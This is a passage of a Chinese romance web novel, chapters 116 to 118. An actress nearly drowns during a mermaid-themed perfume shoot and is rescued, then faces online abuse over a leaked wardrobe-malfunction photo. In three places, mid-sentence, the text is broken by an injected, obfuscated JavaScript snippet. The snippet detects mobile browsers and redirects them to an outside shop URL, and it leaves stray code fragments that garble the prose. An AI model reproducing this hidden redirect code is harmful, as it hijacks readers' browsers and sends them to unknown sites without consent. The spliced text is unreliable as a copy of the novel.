谢劲舟走过去跟她说:“倩倩,你要是没事,可以把东西放屋里,先回去。” “不回去。”沈倩倩找了块干燥的草地坐下来,“我还是第一次看到大明星工作,我就在这儿看看。” 她特意来找谢劲舟,怎么会轻易离开。 小姑娘好不容易来找他,谢劲舟没再让她走,而是伸出手:“要看,就去树荫下看。” 沈倩倩笑了,抬手想放在他的掌心上,但犹豫了一秒,手垂下来,撑着地,自己站了起来。 既然得不到,就不要给自己任何念想。 …… 午后阳光正好,把漫山遍野的花花草草都涂抹上了一层金边,湖水波光潋滟,树影倒映湖面,微风拂过,水波荡漾,静心湖美得像人间仙境。 人间仙境里游进来一尾深蓝色的燕尾蝶人鱼,她自由地在水里游着,漾开一池蓝色的波光。 挂脖蝴蝶背心,露出她大片的背,后背上露出完整的燕尾蝶文身,跟燕尾蝶人鱼服呼应。 她时而俯泳,时而仰泳,一直往前游,似要游到世界尽头。 录像师、摄影师一路追着她,记录下唯美的画面。 谢劲舟看着在湖里自由游着的驰路,仿若她是生在湖里的一尾人鱼,悄然降临人间。 她的一颦一笑都仿佛含着无限春光,清纯、性感,又魅惑。 她沉入湖里,湖水将她淹没,水面隐约可见那一抹耀眼的蓝。 驰路往前游,看到了湖里的水草、鱼,还有沾在水草上的海螺,水底生物蓬勃生长,她的心间似乎长出一片海洋。 【水下人鱼】拍摄的是海洋系列的香水,要体现出清新、神秘、自由。 驰路手里拿着香水,向前游去,燕尾蝶人鱼尾巴在水里轻盈地扇动着。 她双手伸展开,向前划时,划开一道道水波。 录像师跟着她在水里前行,采用不同的视角进行拍摄。 水下场景拍完,录像师从水里出来,大口呼吸着空气,却没见驰路出来。 “驰老师,拍完了,可以上来了。”录像师抹了把脸上的水,跟还在湖里的驰路说。 没有回应。 “驰老师。”谢劲舟立刻跑上前,朝湖里看,却见湖面漾起大的波纹,水下那抹蓝色的身影越来越远。 谢劲舟没有一点犹豫,脱了上衣,跃入湖里,去找他的人鱼。 116. 为你死又怎样 「我的世界有两条路,一条通往未来,一条通往你。 小蝴蝶,通往你的那条路没有尽头。 玫瑰永远绽放,你永远是我的信仰。」 ——《小船靠岸》 驰路想往前游,但游不动了,她的双腿被紧紧地裹在人鱼服里,经过刚才的一阵折腾,小腿抽筋,完全使不上了力了。 她越是挣扎,身体越是往下沉,张大嘴巴,想要呼救,吸进来的只有水,声音被淹没在水里。 离光的地带越来越远,鱼还在身边自由地游来游去,她却完全没有方才赏湖底生物的心境,一种本能的求生欲望扯着她要往上游、要呼救,但她什么都做不了,只能任由水将她拖往湖的深处。 黑暗渐渐笼罩着她,一种前所未有的恐惧占据她的每根神经。 脑中走马灯似的快速闪过一帧帧画面。 儿时老爸老妈带她去游乐园、老妈给她刺绣蝴蝶挂饰、弟弟牵住她的手跟她说“姐姐,我陪你”、六年前,她生日那天,谢劲舟跟她说“阿驰,跟我谈恋爱。”…… 就在她的身体继续往下沉,快无法呼吸时,眼前出现一抹雾霾蓝,跟绿色的湖水相融,头发在湖水里,如水草般荡呀荡,如梦似幻。 香水从她的掌心滑落,往湖底沉下去,她抬起的胳膊也渐渐垂落。 力气被抽走,无力挣扎,谁来救她? 谢劲舟离她越来越近,想起了六年前,他沉入湖底,腿被水草缠住,氧气一点点消失,呼吸越来越困难。 他感到死神在一步步要将他拽入深渊。 是驰路义无反顾地跳下来救他,将他带出了深渊。 他知道被湖水吞噬的滋味,也知道想活却无能为力的滋味。 他的人鱼,不能下坠! 他要像六年前她救他时那样,将她从湖底打捞上岸。 意识迷离之际,驰路感到一双手握住她的手腕、揽住她的腰,把她托到湖面,终于得以喘息。 驰路本能地张大嘴巴,吐掉被灌的水,大口大口地呼吸空气,如被拍在沙滩上的鱼,瞬间入海,脱离危险地带。 谢劲舟从湖里探出头,将她紧紧抱着,移到岸边,让她坐在草地上。 长长的人鱼尾巴拖在湖里,驰路还没从方才的恐惧中回神,双手始终紧紧地攀在谢劲舟的肩头。 “好了,没事了。”谢劲舟轻轻拍着她的背,在她耳边说。 他的声音听起来极为平静,但谁也不知道,他的心跳得很快,刚才,他被吓得不轻,他怕自己晚去一秒,她就停止呼吸。 他清醒地意识到,活了二十四年,他从没害怕过失去什么,却很怕失去他的蝴蝶。 其他人纷纷过来问驰路的情况,幸好谢劲舟第一时间跳下去救了她。 “我没事。”驰路抹去脸上的水珠,朝他们露出笑容。 哪里会没事,方才的无力感、恐惧感依然残存心间,但她没有表露分毫。 “驰老师,你要不先去屋里休息休息,等休息好了,再拍几组照片,就可以收工了。”摄影师跟驰路说。 “没事,我就在这儿休息。”驰路不想耽误拍摄进度。 谢劲舟把驰路抱到一棵树下,让她靠着树干,问她:“刚才怎么回事?” “就腿抽筋了。” “现在还疼吗?” “有点。” “哪里?” “这儿。”驰路指了指右小腿。 谢劲舟旁若无人地帮她轻轻揉着她指的地方。 “舟哥,有人看着呢。”驰路朝他使眼色。 “看着就看着,我今天是你的助理,这不应该是助理该做的吗。”谢劲舟说得理直气壮。 “被人拍了发到网上,还不知道要说什么。”驰路并不热衷看到自己上热搜,虽然这对公司、对路女士来说都是好事,但她希望上热搜的是她的作品,而不是她的八卦。 谢劲舟并没有停止手中的动作,继续帮她揉着,仿佛没听到一样。 “舟哥,你一点不都在乎?” “在乎什么?” “你没看到吗。”驰路说,“他们说,你是被我包养的金丝雀。” 谢劲舟手中动作一顿,不禁嗤笑:“他们说的是事实吗?” “不是。” “我不在乎别人说什么,我只在乎你。”谢劲舟继续帮她揉着小腿。 很土味情话,驰路却心间一动,仿若掉落片片樱花。 她知道谢劲舟自尊心强,要是现实中有人说一句这样的话,他不会轻饶对方,但自从他们的绯闻满天飞,诽谤他、谩骂他的声音越来越多。 他都知道,但他从来都没因为这些话,而抱怨过,或者远离她。 他跟她说:“阿驰,这世界很喧嚣,我只想听你的心跳。” 他不惧荆棘,在一场场流言里,写下“我不后退”的注脚。 …… 驰路在休息间隙,叶薇薇帮她重新补了妆,见她的上衣带子有点松,帮她重新系上。 拍摄时,驰路仰着身体坐在湖边,一半的身体都在湖里,湖水随风一波波袭上她的燕尾蝶人鱼尾巴,波光潋滟中,她美得惊心动魄。 她在镜头前的表现力很好,仰头间,露出如天鹅般纤长的脖颈,午后细碎的阳光尽数洒在她脸上,照得她右眼下方的鱼鳞闪闪发光。 湖边,绿地上,一尾蓝色人鱼,掉落人间。 蝴蝶纷纷朝她飞来,在她身边萦绕,她似万物初启时,最亮的那条星河。 拍摄时,沈倩倩问谢劲舟:“舟哥,你刚才为什么要那么奋不顾身地跳下去,你就不怕死吗?” 谢劲舟目光落在驰路身上,笑了笑:“我死没什么,但她不可以!” 说好的,神明要守护他唯一的信徒,他怎么可能有一点松懈。 “OK,收工!”摄影师满意地拍下最后一帧绝美画面,定格下永恒的蓝色人鱼。 终于可以收工了,驰路动了动摆姿势摆得有些僵硬的身体,撑手想站起来,却发现很难。 谢劲舟见状走过去,刚走两步,见她上衣往下滑落,但她还没发觉。 眼见下滑到胸前,谢劲舟急忙加快步伐,如箭般飞奔到她身前,一把将她抱住,才阻止了上衣继续下滑。 旁边的人,有的正收拾器材,没注意到这边的情况,有的恰好看到这一幕,惊得目瞪口呆。 “抱我做什么?”驰路还没反应过来发生了什么,为什么谢劲舟要这么着急地抱自己,想抱她,非要挑这样的场合吗,不合适吧。 谢劲舟没回,而是用手摸到驰路蝴蝶上衣的带子,探头过去,将松掉的带子重新系好。 “你都走光了!”谢劲舟舔了下后槽牙,咬牙说。 “什么!!!”驰路惊得睁大眼。 走光?还在众目睽睽下! 谢劲舟一字一句地跟她说:“下次别再穿这么露的衣服!” “现在是说这个的时候吗!”驰路恼羞地蹙眉,看了看还处于惊讶中的小助理,立刻明白发现了什么,“你们是不是都看到了?” 是什么程度的走光?她刚才只顾着要站起来,根本没注意到带子松掉、衣服滑落。 驰路之前刷到一些明星在参加活动的场合,衣服被人踩到摔倒的,穿高跟鞋崴脚的,还没见过谁的衣服掉下来曝光的。 虽然她没在多大的场合吧,但被人看见就足够社死。 驰路面色掠过尴尬,被谢劲舟抱在怀里,跟来时一样,抱着她回静心小屋。 谢劲舟走到工作人员旁边,跟他们说:“各位老师,今天的任何照片或录像,麻烦不要传到网上,也别发给朋友,更不要发给狗仔,谢谢!” “放心,我们签了合同的,这些必然不会外传。”摄影师说。 沈倩倩走上前:“舟哥,不介绍下?” 谢劲舟停了下来:“我们的驰大明星,你叫嫂子。” “……”沈倩倩手一松,手里的玻璃罐差点掉落。 她听到了,心重重坠地的声音。 六年守候,终成空。 * 拍摄工作结束,工作人员先行离开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560833|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,静心小屋里只剩下三人。 沈倩倩打开玻璃罐,将里面的红枣一一拿出来,放到果盘里,一个个摆好,下意识竟要摆成心形,猛然意识到,慌忙打散,将红枣胡乱放进去,仿佛刚才的那颗未完成的心从未出现过。 这个习惯,她持续了六年,从喜欢他的那天开始,她把能摆成心形的东西,都赤裸裸地摆在他面前,一次次用行动告诉他:“舟哥,我喜欢你。” 谢劲舟从来不在意有没有摆成心形,甚至会跟她说:“倩倩,下次别这样做,没意思。” 没意思吗?她想表露她的心迹,她觉得有意思,她就要让他一次次看到她的心。 但谢劲舟一次都没动摇过。 他的名头在芳町镇响当当,什么芳町三中一霸、芳町镇头号不良少年、少女芳心收割机、痞帅浪子…… 也听说过,他换女朋友如换衣服,直到高三那年,他谈了个女朋友,分手后,再没谈过。 他们都说,他收了心,浪子回头了。 她暗暗发誓,要收了这个浪子。 她坚守了三年又三年,却还是败给了驰路。 因为人家是大明星吧,她只是无父无母的孤儿,所以,他才没有选择她? 在所有的理由里,她最不敢想的是,他从来没有喜欢过她。 她是风一样自由奔放的女生,却也有细腻的小心思,也会在他一次次果断地拒绝后,陷入哀愁中,常常是愁了一晚,第二天看到他,又满血复活。 如果她是树,他就是养料,遇到他,她便焕发生机,绿叶满枝头。 他让她喊驰路“嫂子”,他有多在乎她,才会给她这样的称呼。 这六年,沈倩倩从没见他对哪个女生动过心,这次看到他跟驰路的相处,算是彻底明白了,不是他不喜欢女生,而是在他的世界里,女生只分为两种,一种是驰路,一种不是驰路。 那声“嫂子”,沈倩倩叫不出口,他们又没结婚,凭什么要叫她“嫂子”! 沈倩倩将果盘推到驰路面前,力道有些大,果盘在茶几上划过刺耳的声音:“驰姐,我中午刚摘的,你尝尝看。” 每说一个字,都咬着牙,说得那么重,仿佛跟驰路有仇似的。 驰路看着她这副模样,不由得笑了,这小姑娘跟小乔可以一较高下了,有什么都表露无遗。 “谢谢倩倩。”驰路唇角勾起,礼貌地说,脸上完全没有一丝对抗,反而很温和。 这倒让沈倩倩感到不爽了,她就想跟驰路来场有来有往的辩论,但她这样,让她觉得自己一拳打在了棉花上,贼没劲。 仗着谢劲舟不在这儿,沈倩倩嗤笑:“你就不好奇,我跟舟哥的关系?” “你们是什么关系我不在乎。”驰路拿起一颗最红的枣子,侧头瞥了沈倩倩一眼,又落回红枣上,放在手指间慢悠悠地转着,“你没听到你舟哥跟你说吗,你应该叫我‘嫂子’。” 驰路加重了最后两个字,说完将红枣丢到嘴里,细嚼慢咽着,最后将里面的核吐到脚旁的垃圾桶里。 对方咬牙切齿,她却表现得云淡风轻,仿佛她才是赢家。 “我才不要叫你嫂子!”沈倩倩见她高傲得像女王的模样,气得瞪眼,“现在还没到最后,最后谁嫁给舟哥还不一定。” 她的长相本就属于可爱型的,脸蛋圆圆的,眼睛也圆溜溜的,一瞪眼,一生气,反倒显得更可爱了。 驰路在娱乐圈待久了,见多了戴着虚伪面具的人,许久没遇到沈倩倩这样耿直的,不禁被她的可爱模样逗笑了。 “你笑什么!”沈倩倩气呼呼地嘟嘴。 她这模样,像只可爱的小金鱼。 驰路还想说什么,听到了门被打开的声音,又听到了脚步声,抬头看去,有人从外面推门而入,他走在光里,雾霾蓝的头发张扬醒目,右耳上的黑色耳桥发出幽光。 他的手里捧着一束新鲜的洋桔梗,朝她一步一步地走来,像抵达的神明。 她听到他说:“我不知道明天世界会不会毁灭,但我知道,老子要娶的人,只能是驰路。” 117. 小蝴蝶遭受网暴 「这世上有太多黑白颠倒、是非不分。 人人都以为自己是主宰世界的神。 但神从不轻易审判。 被绑在十字架上的,不一定是罪人,也可能只是无辜的囚徒。」 ——《小蝴蝶的星光》 沈倩倩看着谢劲舟给驰路喂一颗又一颗的红枣,看他搂着驰路的肩膀,看他的目光一直灼灼地看着驰路,看他的笑容难得地只给驰路…… 她实在受不了了,把玻璃罐里的红枣都倒在了果盘里,盖上玻璃罐的盖子,起身要走,走了两步,没人叫住她。 他们还真是如胶似漆的小情侣,完全忘了她这个电灯泡的存在! 舟哥对她也没有之前对她好了,她可是特意过来给他送新鲜红枣的,他真是见色忘义! 沈倩倩又恼又难受,心间似被灌满了青梅味的汽水,酸得要命,酸得她眼眶都涩涩的。 她走到门边,想要出去时,听到谢劲舟叫住她:“倩倩,你等下。” 沈倩倩吸了吸鼻子,把几乎要溢出眼眶的液体憋了回去,转身问谢劲舟:“干吗?” 谢劲舟去房间,过了会儿走出来,递给她一个礼盒。 “这是什么?”沈倩倩一惊。 “明天不是你的生日吗,本来想今天给你寄过去,你正好过来,就现在给你。”谢劲舟揉了揉她的脑袋,“倩倩,生日快乐!” “舟哥!”沈倩倩一下扑到谢劲舟怀里,眼里的泪水再也无法控制地往下流。 六年了,他送了她六次生日礼物,从未缺席。 舟哥,你为什么要对我这么好! 想要统统收回去的心意,此刻似奔涌的潮水般,将她兜头覆没。 她想,她没救了,总会一次次轻而易举地被他击溃所有防线,让她丢盔弃甲。 她走过无数次的黑夜与荒野,却只见过一次春天,春天漫长,无边无际。 谢劲舟是她唯一的春天。 她把泪水蹭到他的T恤上,浸透了,温热的泪水沾在了他的身上。 谢劲舟不知道倩倩为什么哭,之前的五年,每次送她礼物,她都格外兴奋,除了说“谢谢”,还会笑着跟他说:“舟哥,你对我这么好,要不要当我男朋友啊?” 他每次都拒绝,她却年年都跟他说类似的话。 她的喜欢,如微雨拂尘、溪水流石,轻淡得不着痕迹,却又浓烈得似山间雾气。 “好了,不哭了。”谢劲舟帮她细心地擦着眼泪。 指腹擦过的每个地方,都留下浅浅的余温,她沉醉其中,泪眼汪汪地看着谢劲舟:“舟哥,以后别对我这么好。” 谢劲舟帮她擦掉最后一滴眼泪,微微俯身,看着红了眼眶的沈倩倩:“你是我妹,你说,有哪个哥哥会对妹妹不好?” 沈倩倩捏着礼物,手指都捏得泛白,忍住心底的痛楚,扯起嘴角,对谢劲舟笑着说:“舟哥,你再这么对我好,我怕一辈子都会黏着你。” 说完,转身,背对着谢劲舟朝他挥手告别。 夕阳缀在天幕,晚霞瑰丽如画,山间起了微风,吹得树叶沙沙作响。 天气很好,风景很美,可沈倩倩却觉得这些都跟自己无关。 她走到湖边,坐下来,打开礼物,看了许久许久,看得眼前的湖水越来越模糊,看得心间酸胀难当,看得不禁流下眼泪。 她几乎要放声大哭,却紧紧地用牙齿咬住下嘴唇,让自己不哭出声来。 礼盒里装着一块运动手表,橱窗里最显眼的那块。 她曾站在橱窗外,跟谢劲舟说:“舟哥,什么时候我才能有一块这样的表啊?” 时隔六个月,这块她心心念念的表,来到了她的身边。 价格四位数,抵得上她两个月打工的钱。 她舍不得买,她的舟哥给她买了。 她曾问她的好友季樱什么是喜欢,季樱说:“喜欢是,你想够天上的月亮,你不用踮脚,月亮会自动落在你身边。” 舟哥对她的这种心意,难道不算喜欢吗? 她无法再自欺欺人了,谢劲舟对她的喜欢,不过是哥哥对妹妹的喜欢,别无他意。 这世界庸俗至极,唯有你是我肆意活着的全部意义。 我把你的名字永刻心间,到头来,你却不是我的。 我一天天追寻的春天,是我的一厢情愿。 是时候,要走出喜欢你的人间。 * 沈倩倩走后,驰路觉得屋里瞬间安静下来,她拿出一颗红枣递给谢劲舟,却见他正在点烟,看起来有些不爽。 “怎么了,心疼小姑娘了?”驰路笑着将红枣扔到果盘里。 谢劲舟没说话,眉头微微蹙着,抽了几口烟,隔着烟雾看驰路,继而一把将她揽入怀里:“她是……” 驰路的电话响了,打断了谢劲舟。 “等下,我先接个电话。”驰路看着屏幕上跳动的“路女士”,接了起来,刚接通,电话那头传来路女士的震天吼:“驰路,你看看,你都在做什么!” 又怎么了? 路女士什么时候能不这么大惊小怪的? 驰路立刻把手机移远些,避免耳膜遭殃:“妈,怎么了?” “你自己去看微博热搜!”说完,路漫挂了电话。 驰路额头一跳,这又是发生什么事了! 她打开微博,点进热搜,热搜第一是:【驰路杀疯了的走光照】。 难道…… 驰路的手指微微发颤,不好的念头油然升起。 她抱着极其紧张、忐忑的心情,点开了这条热搜,热搜的第一条,是她今天拍香水广告的照片,是她坐在湖边,想要站起来却站不起来,上衣滑落到胸前的走光照! …… 驰路的走光照持续发酵着,黑粉借由此事大做文章,有人直接把她的上衣P得往下,露出她更多的胸前肌肤,有的甚至直接把她的上衣拿掉,只在她的两点处打上了黑色蝴蝶马赛克。 各种什么【鸭】、什么【鹅】的账号为了博取流量,纷纷跟风发微博,博眼球,争流量。 他们在流量场上一番厮杀,照片里的那个人,不过是博取流量的工具,根本不会在意发了之后的后果。 别人的事,终究是别人的,没有落在自己头上,永远不过是空中的一粒尘埃,不会有谁去关注。 人总喜欢把自己的快乐建立在别人的痛苦上,何况这还是顶流明星出糗事件,吃瓜群众接踵而至,纷纷发表自己的观点: 【这是哪儿来的顶流明星啊,我怎么不知道,想靠脱衣服蹭热度,是不是也太不要脸了】 【占用公共资源的明星,都不是什么好货色!尤其还是这种贼有心机的脱衣女郎】 【故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560834|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意脱的吧!胸大没错,把胸露出来,就是你的不对了】 【之前就听说,她靠身体上位,这次能出演《密林深处》的女一号,肯定是爬了那什么顾导的床吧……】 【啊啊啊!这不是我粉的明星吗,怎么会做出这种事!】 …… 基本是一边倒的嘲讽、谩骂、诽谤。 网上多的是口嗨者、跟风者、键盘侠,他们站在自己的道德制高点,对别人的事评头论足,以为他们看到的是真相,非要把别人钉在耻辱柱上,才觉得自己是赢家。 他们却从来不会去想,看到的不一定是事实,跟风诋毁别人是伤害,他们举起键盘,啪啪地敲字,只管自己是不是可以主宰世界的神,而别人是死是活,跟他们全然无关。 刀剑可以伤人,但有时,言语比利器更伤人,它不能挑断你的筋骨,却可以让你的心坠入地狱。 不是没有坚持驰路是清白的,那是她的后援会成员,是她一直以来最坚实的后盾。 他们的声音夹杂在负面的洪流里,显得那么微不足道。 看热闹的、跟风的人太多,总把正面的声音,一波一波盖过。 驰路不是没看过关于自己的负面骂声,都说“人红是非多”“欲戴皇冠必承其重”,从她要踏入娱乐圈那天起,她就做好了被骂的准备。 这六年,随着她的人气越来越高,骂声也越来越多,有时,她安慰自己,这是好事啊,说明她人气高了,能接到更好的剧本了,接的代言也更大牌了。 每次的骂声,都会成为她更加努力向前的动力。 别人越是骂得狠,她越要向别人证明,她不是靠什么男人上位的,她靠的是她的演技、她的实力。 如果投资方只看中明星的流量,但导演不是傻子,谁演技好谁演技差,你演一场戏,他就能看出来。 观众、影评人也都不是傻子,电视剧打出的高分,对她演技的认可,都是她努力后的证明。 这次跟以往任何一次都不一样,直接曝光了她的身体、恶意中伤她。 之前那些她可以不在意,因为那些都是在颠倒黑白。 然而这次却将她脱光了上衣架在十字架上,众人在下面抬手指着她骂她“不要脸”“故意脱衣”,“这样的人,就该被活活烧死”。 她的清白,毁于一旦;她的名声,坠落崖底。 那么高傲的一个人,被人扒光了身体,被全世界的网民嘲笑、谩骂,是何等的耻辱! 她的一身傲骨,瞬间被人击碎,踩在脚下。 驰路只看了不到三分钟,却看得身体紧绷、浑身发凉,指间都发着颤。 外面鸟语花香、夕阳漫天,她却觉得如坠望不到底的深渊。 她另一只手抓着沙发扶手,越抓越紧,指关节都泛着白,毫无血迹,望着屏幕的那双妩媚的狐狸眼,此刻失去了所有的光彩。 她的世界,掉入深渊,暗无天日。 这时,身前的光被一抹影子覆盖,有人蹲下身,将她拥在怀里,一只手轻轻拍着她的背,另一只手覆盖在她抓着扶手的手上,跟她说:“阿驰,我一定会把发照片的人揪出来!还有,不要怕,我会陪着你,不论你在高峰,还是在低谷。” 上一句说得有多狠,下一句就说得有多温柔。 哪怕你失去全部荣耀,十八岁的少年,永远可以为你撑腰。 118. 谢鸿运断腿真相 「人生最痛苦,莫过于永失所爱。 小蝴蝶,我失去过,两个至亲。 我不能再失去你了。 你要给我好好活着! 你要记住,我是你最忠诚的神明。 我会把我所有的爱与信仰都给你。」 ——《小船靠岸》 【驰路杀疯了的走光照】的话题持续走高,吃瓜群众越来越多,也多了造黄谣的、泼脏水的、乱扣帽子的,都一副不嫌事大的架势,好像非要闹得越大,他们做出的贡献才越大。 驰路签约的【木子】影视公司没有任何动静,她也没发任何微博,没有任何回应,几乎坐实了她故意脱衣博流量的事实,而根本没人关心,到底是谁外泄的照片,外泄之人侵犯了个人隐私,甚至违反了合约规定。 驰路没有给她的经纪人,也就是路女士打电话,路女士给她打了那通电话后,就没音了。 她无意间刷朋友圈,竟看到路女士悠闲地躺在沙滩上,举着一杯粉红色鸡尾酒,笑容满面的照片。 路女士还真是一如既往地气定神闲,她方才那通电话,驰路差点以为路女士是在关心她、在意她。她曾闪过一丝念头,这次怎么着,路女士都会帮自己公关下吧。 然而,路女士什么都没做,反而潇洒地去海边玩了,估计身边又换了男人吧。 她上了热搜,都是路女士、李浦乐于看见的,这样才有热度,他们才能从她身上继续捞金。 驰路给路女士发的让她去撤热搜的信息,她压根儿没回,给她打电话,她也没接,反而在这期间有时间发朋友圈! 能对自己的亲生女儿无情到这份上,比看到那些人骂她,还让她寒心。 驰路气得很想砸什么,她看着茶几上换好的新鲜洋桔梗,心又软了下来。 她倾身过去,抚摸着花瓣,侧头看一眼一直陪在她身边的谢劲舟:“舟哥,陪我去山顶吧。” …… 夕阳快要落山,悬在远处的天边,呈月牙状。晚霞陷落,层层灰色的云朵漫上来,好似要下雨了。 九月的风吹在脸上,少了夏日的燥热,带点凉意。 驰路坐在离悬崖两步之遥的地方,背靠一块石头,感受风穿过身体。 有时,她希望自己是一阵风,活得潇洒恣意,来去自由。 她站了起来,往悬崖边走,刚走出一步,便被谢劲舟抓住手腕。 驰路转头看他,笑得苦涩:“怎么,怕我跳下去?” “我不怕你跳下去。”谢劲舟紧紧拽着她的手腕,生怕她挣脱,“我怕你,不跟我说一声,就跳下去。你给我个信号,我就跟你!” 驰路听着,心头涌起一股酸涩,眼眶渐渐泛红,这世上能跟她一起去死的,只有谢劲舟。 “听说,一个人去天堂会很孤独。”谢劲舟说,“我不希望你一个人。” “你怎么知道我会去天堂?”驰路眼睛里晶晶亮亮,是快要溢出来的眼泪,却被她抬头憋了回去,“不是说坏女孩会去地狱吗。” “阿驰,你听好了,”谢劲舟松开她的手腕,与她的手指紧紧相扣,“你从来都不是坏女孩,坏女孩会经常给谢奶奶买她喜欢吃的薄荷糖吗,坏女孩会在小乔被打时帮她挡钢棍吗,坏女孩会不顾生命跳入湖里救人吗,坏女孩会在离开的时候留三大本厚厚的重点题笔记吗,坏女孩会……” 谢劲舟还想继续说,嘴巴却被驰路捂住,她的眼泪再也控制不住地落下来,低下头去,不想让他看见,声音泛哑:“好了,别说了。” “阿驰,不管别人怎么说你、怎么看你,那都不是真正的你。”谢劲舟拿开她的手,挑住她的下巴,让她看自己,“真正的你,是一只从不会被打败的蝴蝶,有一双努力飞翔的翅膀,你在舞台上发着光,你在红毯上很闪亮。你走在黑暗里,你也走在光里,你却从没有被黑暗吞噬,你是黑暗里那只永不投降的蝴蝶,我为你感到骄傲!这次,我相信,你也可以穿越黑暗,走进光里。” “谢谢你,舟哥。”驰路扑进谢劲舟怀里,眼泪肆意地在脸上流淌。 憋在心头的委屈和痛楚,此刻洪水决堤般汹涌而出。 只有在他身边,她才能肆意地释放所有的情绪。 “你不是想知道我为什么不骑摩托车吗,”谢劲舟轻轻推开她,俯身吻她脸上的泪水,一点点地吻尽,“我告诉你。” …… “还记得六年前,你离开的那天吗,”谢劲舟拉着驰路走到方才的石头处,两人并排坐下,他把她搂在怀里,“我答应你的事,什么时候没做到,不是我失言了,而是我去不了了。” 驰路有时会做噩梦,梦见六年前那天,谢劲舟失言,不是因为他有事,而是他怪她走得绝情,所以戏弄她一番,醒来一身冷汗。 那件事谢劲舟从未跟任何人说过,他一身硬骨头,被人砸碎了,尊严尽失。 可当初的那帮人,还敬他是硬汉一条,骨头硬得狠,那么狠戾地打他,他的头颅从没低下,看着他们的眼睛还是那么不可一世,仿佛他才是赢家。 谢劲舟轻描淡写地描述当时被人堵住的事,驰路却听得心惊肉跳,看着他的右腿:“所以,你的右腿就是被那帮浑蛋给打断的?” 罗子昂当初告诉她的并不是事情的全貌,他竟然被打断了腿! 驰路心头涌起一阵怒火,那帮人是有多恨谢劲舟,要把他打成那样。 彼时的谢劲舟应该很无助,也很痛苦吧,她仿佛看到了,那个被他们打得倒地,无法站起来的谢劲舟,他倒在血泊中,想要去拿手机,却被人狠狠地踩手。结果,手机没拿到,手骨几乎都要被踩断。 雪越下越大,他们打他打得尽兴才离开,而他,成了大雪中一只无人管的野狗,可怜兮兮地趴在地上。 如果不是罗子昂及时赶到,他怕是要冻死在那个雪天吧。 他们在巷子里堵她的画面,偶尔会出现在驰路的噩梦里,那帮人调戏她、侮辱她,几乎要得逞,如果不是谢劲舟及时赶到,她这辈子的噩梦会再多一个,而且侮辱性极强。 如果不是因为她,谢劲舟就不会跟那帮人结下梁子,就不会被人打断腿。 都是因为她,他才会变成这副样子。 驰路把他右裤腿往上卷,卷到膝盖处,仔细一看,发现跟正常人的不太一样,有的地方凸出来,有的地方凹进去,看起来有些畸形。 她的手,几乎颤抖着摸上去:“现在偶尔还会疼吗?” “下雨天的时候会。”只要风雨来了,钻进膝盖里,就会疼,谢劲舟淡然道,“不过那疼不算什么。” 那天,谢劲舟去医院只是用石膏固定了断腿,第二天他就独自去了静心山,在那里待了一个月,摘掉石膏,自己处理伤口,一次都没去过医院复查。 他希望伤口可以慢点愈合,又希望伤口可以快点愈合,因为一个月后,他有一场全国比赛,他要在那场赛事上赢,他要拔得头筹,要让驰路看见,他也可以站在高山之巅。 希望慢点愈合,是因为他疼痛给他带来的滋味,能告诉他,他还活着。 驰路的离开,让他的世界一下子陷入巨大的黑洞。 其实,他早就做好她要离开的准备了,他以为自己可以平淡地迎接这一天的到来。 可事实告诉他,他做不到心静如水,不管是栾花巷32号,还是静心小屋,每一处都留下了驰路的气息,每一处都让他无法忘怀。 他想拼命守住的蝴蝶,还是从他身边飞走了。 那种无法言语的悲痛,让他的心一下子空了。 她夜夜入梦,等醒来时,却发现不过是一场梦,那种滋味,就好像你明明拥有了一件独一无二的珍宝,却有人告诉你,它不属于你了。 她说“假如火焰熄灭了,玫瑰枯萎了,每个深夜,我们总会等到月亮。就算月亮不会升起,我还会陪着你。” 可是,为什么,月亮没有升起的许多个夜晚,说要陪着他的那个人,为什么不在身边?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560835|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他好像再次回到了三年前,失去母亲的那年。 那一个月,他过得暗无天日,他不肯任何人过来找他,任由自己被黑暗、痛楚吞噬。 起初,他每天都会走一遍之前跟驰路走过的路,每天都会换一束新鲜的洋桔梗,也会给鱼换一换水。 每晚,他都难以入眠,会睁着眼睛,困到不行也没法闭眼。 他憔悴得不成人样,后来不走了,也不换花了,连鱼儿死了也不管了,开始喝啤酒、抽烟,一罐一罐地喝啤酒,抽了一包又一包烟,茶几上满是被捏扁的空啤酒罐,烟灰缸里挤满了烟蒂。 他像被放逐在荒野里的困兽,无人来到他的领域,也无人将他拯救。 他想起驰路第一次来静心小屋,是她帮他把混乱的一切收拾干净。 但再没人来收拾残局。 他拼命地摇晃啤酒罐,单手拉开拉环,气泡腾地在空中炸开,为什么再没有安抚人心的力量,反而越听越烦躁。 只有右腿的疼痛,还提醒着他,他还活着,虽然活得苟且。 